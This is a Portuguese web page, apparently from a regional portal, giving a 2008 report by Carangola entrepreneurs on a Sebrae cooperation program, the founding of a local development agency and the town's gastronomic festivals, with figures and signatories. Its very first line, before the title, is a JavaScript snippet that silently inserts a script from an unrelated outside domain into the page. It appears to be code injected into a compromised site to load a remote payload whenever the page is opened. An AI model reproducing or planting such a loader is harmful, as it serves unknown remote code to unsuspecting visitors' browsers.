;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Cultura da Cooperação Empreendedores de Carangola 2005/2008 - Portal Carangola

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Cultura da Cooperação Empreendedores de Carangola 2005/2008

“A Cooperação é uma escolha.”

 

Quarenta empreendedores de Carangola, a partir da mobilização da técnica Andreia Antunes, em 14 de março de 2005, com a participação na sensibilização das coordenadoras do Sebrae Daniele Fantini e Luciana Rezende (Programa de Alimentos Seguros – PAS), Vera Lopes e Marli Menezes (Varejo Forte), inscreveram nos projetos. Exatamente 23 empresários aderiram ao projeto Varejo Forte e 17 empreendedores às consultorias do Programa de Alimentos Seguros – PAS. A implementação da metodologia da Cultura da Cooperação, no Varejo Forte e no PAS, ficou a cargo do consultor Marco Antônio Gazzinelli.

E foi a partir dos encontros da Cultura da Cooperação que cada um ficou conhecendo o outro, inclusive no sentido de estabelecer relações comerciais e buscar objetivos comuns. O consultor Marco Antônio Gazzinelli, desde o início dos dois projetos, trabalhou a convivência, a confiança, a responsabilidade, o comprometimento e o respeito entre os integrantes do grupo. A questão do individualismo passou a ser exaustivamente combatida. Cada integrante do grupo confessava ser individualista. A responsabilidade social também ocupou parte da pauta dos encontros.

Decorrido um ano, o recurso da Cultura da Cooperação acabou para os integrantes do PAS, proprietários de bares, lanchonetes, restaurantes, padarias, açougue e hotel. Houve, na época, a necessidade de integração efetiva dos dois grupos de empreendedores, sob a coordenação técnica de Andreia Antunes do Sebrae, articulada com o consultor Marco Antônio Gazzinelli, no sentido de atender a demanda dos interessados em dar continuidade ao processo de mudança de cultura. A integração aconteceu, incluindo empreendedores do segmento de farmácia, inclusive de manipulação, papelaria e material escolar, auto-peças, jornal, stúdio fotográfico, distribuidora de alimentos, de máquinas de costura, escola de enfermagem, armazém e loja de roupas.

Os recursos financeiros para a continuidade da Cultura da Cooperação para o grupo do Programa Alimentos Seguros – PAS terminou em 2005. Os integrantes do grupo do PAS reconheceram que ainda não estavam prontos. Alguns decidiram continuar, outros saíram e novos entraram neste período.  No início de 2006, a técnica Andreia Antunes articulada com o consultor Marco Antônio Gazzinelli reuniu os participantes dos dois grupos e propôs a união. Ainda existia recursos financeiros para a Cultura da Cooperação no Projeto Varejo Forte. Isso foi possível porque o consultor era Marco Antônio Gazzinelli e os dois grupos estavam praticamente no mesmo nível. Os participantes entenderam que tinham o mesmo objetivo: fortalecer as micro e pequenas empresas, as instituições e promover o desenvolvimento local.

O desejo de grande parte dos participantes do Programa Alimentos Seguros e do Varejo Forte acabou se concretizando com a construção do projeto do 1º Festival Gastronômico de Carangola. Tanto os empreendedores do Varejo Forte como os do PAS reconheceram que um restaurante de uma região turística não pode ser visto apenas como um negócio de servir refeições. Ele é, na verdade, um negócio de turismo, que se soma a outros tantos em Carangola e nos outros municípios integrantes da região do Pico da Bandeira.

Tanto nos debates e projetos em discussão, motivados pelos encontros da Cultura da Cooperação, o foco visa o aprimoramento dos produtos e serviços por meio do conhecimento, da comparação, da adaptação e da implantação de inovações, a partir do aprendizado com as melhores práticas do mercado. Está muito claro que, na mesma proporção que Carangola busca a atividade turística, é preciso fazer com que os habitantes entendam melhor os vários tipos de emprego, os gastos necessários e as oportunidades que surgem do turismo.

No sentido de continuar a busca do desenvolvimento sustentável e construir uma identidade própria, se mostrar atraente para micro e pequenos empreendedores, foi lançado em 2007 o 2º Festival Gastronômico, com apoio decisivo da Agência de Desenvolvimento Sustentável e Integrado da Região do Pico da Bandeira-ADESPi, Associação Comercial-ACIAC e Sebrae. Foi trabalhada a parceria com a iniciativa privada e poder público, para divulgar a culinária local, disseminar as boas práticas de fabricação e manipulação de alimentos, além de proporcionar capacitação no ramo da gastronomia.

Exatamente em 24 de setembro de 2007, os empreendedores participantes dos encontros da Cultura da Cooperação e organizadores do Festival Gastronômico, liderados pelo farmacêutico empreteco João Paulo de Sousa Machado, assumiram a diretoria da Agência de Desenvolvimento-ADESPi/OSCIP. O desenvolvimento de Carangola e região é de interesse coletivo do grupo. Mas a visão de desenvolvimento do grupo é bem diferente do modelo de crescimento econômico, que gerou enormes desequilíbrios até agora.

Em primeiro lugar, para o grupo, o desenvolvimento local sustentável e integrado é uma estratégia de mobilização da sociedade em favor do desenvolvimento. Entende-se por desenvolvimento local o processo de tornar dinâmicas a vantagens comparativas e competitivas de Carangola. E o grupo, ao assumir esse desafio, está empenhado e integrado em busca do progresso de Carangola e da região. O integrado, para o grupo, significa um modelo de desenvolvimento que leva em conta a necessidade de articulação entre todos os atores que interagem no âmbito local, como também a necessidade de articulação entre os diversos fatores que interferem no desenvolvimento – econômicos, sociais, culturais, políticos institucionais, físico-territoriais, científicos tecnológicos. O sustentável representa para o grupo o desafio de buscar a satisfação das necessidades atuais sem comprometer a capacidade de satisfação das necessidades das gerações futuras.

Mas a estratégia do grupo se fundamenta mesmo nos seguintes aspectos: a participação organizada da comunidade local; a parceria entre poder público, mercado e sociedade; a capacitação continuada para o planejamento e a gestão compartilhada do desenvolvimento; a oferta articulada e convergente de investimentos governamentais e não-governamentais; a difusão da cultura empreendedora e o apoio ao empreendedorismo local; e a oferta adequada de crédito para micro e pequenos empreendedores através de instrumentos de crédito produtivo popular – microcrédito.

Exemplos de projetos que a Agência de Desenvolvimento está atuando como proponente e que estão com os recursos aprovados:

1.      Projeto de Artesanato – Bacia do Itabapoana – Recursos do Ministério da Integração Nacional para 9 municípios mineiros.

2. Projeto de sinalização turística – Bacia do Itabapoana – Recursos do Ministério da Integração Nacional para 9 municípios mineiros.

3. Realização do 3º Simpósio de Arqueologia e Patrimônio da Zona da Mata Mineira e 2º Simpósio de Arqueologia e Patrimônio de Minas Gerais e a 2ª Assembléia Geral do Núcleo Regional Sudeste da Sociedade de Arqueologia Brasileira-SAB, no período de 18 a 21 de setembro em parceria com o Museu de Arqueologia e Etnologia Americana-MAEA da Universidade Federal de Juiz de Fora e Prefeitura Municipal de Carangola.

No final de agosto deste ano, até o dia 7 de setembro, aconteceu o 3º Festival Gastronômico e Cultural de Carangola. A cada edição, o Festival Gastronômico busca incentivar o comércio, empregabilidade, o lazer e o turismo, numa ação que pretende revestir a cidade, os moradores e visitantes do antigo charme que tornou Carangola conhecida como importante pólo cultural da microrregião, atraindo visitantes dos outros municípios do leste da Zona da Mata mineira.

Os impactos positivos do festival gastronômico recaem principalmente sobre o comércio e serviços – alimentação, hospedagem, transportes, serviços pessoais, lazer e cultura, além de gerar empregos, renda e arrecadação de impostos em Carangola, onde o turismo de eventos começa a desenvolver com mais vigor. Está cada vez mais evidente para o grupo de empreendedores do projeto Festival Gastronômico que o turismo tem grande potencial para o desenvolvimento e diversificação da economia local e regional.

Os números do Festival Gastronômico:

 

FESTIVAL GASTRONÔMICO

2006

QUANTIDADE

VALOR R$

Empresas Participantes

9

Parceiros

12

Público Alvo Atingido

3.000 pessoas

Aumento vendas empresas*

33% em média

Recurso movimentado

22.000,00

2007

QUANTIDADE

VALOR R$

Empresas Participantes

17

Parceiros

22

Público Alvo Atingido

7.000 pessoas

Aumento vendas empresas*

56% em média

Recurso movimentado

89.000,00

2008

QUANTIDADE

VALOR R$

Empresas Participantes

12

Parceiros

33

Público Alvo Atingido

10.000 pessoas

Aumento vendas empresas*

Recurso movimentado

65% em média

 

110.000,00

 TOTAL ………………..

 

221.000,00

        * nos estabelecimentos participantes do roteiro (período do festival)

 

                Os números são relevantes. Eles refletem os impactos da Cultura da Cooperação na vida profissional e pessoal de cada um dos integrantes do grupo. As mudanças de comportamento, a melhoria de ambiente, a ampliação do espaço de convivência, as parcerias, a consolidação de relações de confiança, e lidar com conflitos, garantiram a execução de ações coletivas que trouxeram resultados concretos.

Cada um está aprendendo a ser mais empreendedor, inclusive social, a enxergar oportunidades, compartilhar e transbordar conhecimentos. O grupo tem consciência que não se muda uma cultura em tão pouco tempo. Ainda há muito o que aprender, mas o grupo está agora fechando um ciclo. É preciso avançar mais no sentido de dar continuidade ao processo coletivo. Pode-se afirmar que quando se trabalha o coletivo, individualmente também cada um está sendo beneficiado.

O grupo agradece ao Sebrae a oportunidade de conhecer a Estratégia da Cultura da Cooperação e destaca o consultor Marco Antônio Gazzinelli, especialmente na competência, habilidade,  a paciência, dedicação e comprometimento, que sempre teve com os participantes.

O grupo está à disposição para qualquer esclarecimento.

 

Carangola, 25 de Novembro de 2008.

 

 

João Paulo de S. Machado – Presidente da Agência de Desenvolvimento-ADESPi/OSCIP

Luis Américo Bertolasce Júnior – Presidente Associação Comercial de Carangola-ACIAC

Laisi Corrêa Lemos – Restaurante e Lanchonete Bombocado

Ney Sebastião Lemos – Restaurante e Lanchonete Bombocado

Lúcia Helena Januário – Carangola Tênis Clube

Consuelo Machado – Espaço Cre’ser

Mauro Carvalho – Espaço Cre’ser

Júlio Antunes – Jornal O Interior

Fabrício Fernandes – Açougue Central

Mara Regina Ferreira Dias – Bar da Tia Loura

André Luiz Pereira – Café Mixirica

Isabel Marinho – Drogaminas

Márcio Domingues Soares – Ateliêr Decor’Arte

Guanayr Jabour Amorim – Sacola & Cia

Carlos Daniel Tolêdo – Cachaça Charmosa de Minas

Evandro Klen – Coordenador Curso de Turismo – Faculdade Favale/UEMG

Vitor Hugo Consensa Neves – Operadora Rastro de Luz e ABRALUZ

Maria das Graças Morando Godinho – Estudante de Turismo – Favale/UEMG

Janice Melo Vilela – Restaurante Spaço Solar

Giuliano Portilho – Panificadora Panitália

Luiz Fernando Giarolla – Hotel Central

Efigênia Ruas Andrade – Lanchonete Tutti-Sucos

 

 

 

Contatos:

 

Agência de Desenvolvimento – (32) 3741-3634 ou (32) 9924-7290

Associação Comercial de Carangola – ACIAC – (32) 3741-2852

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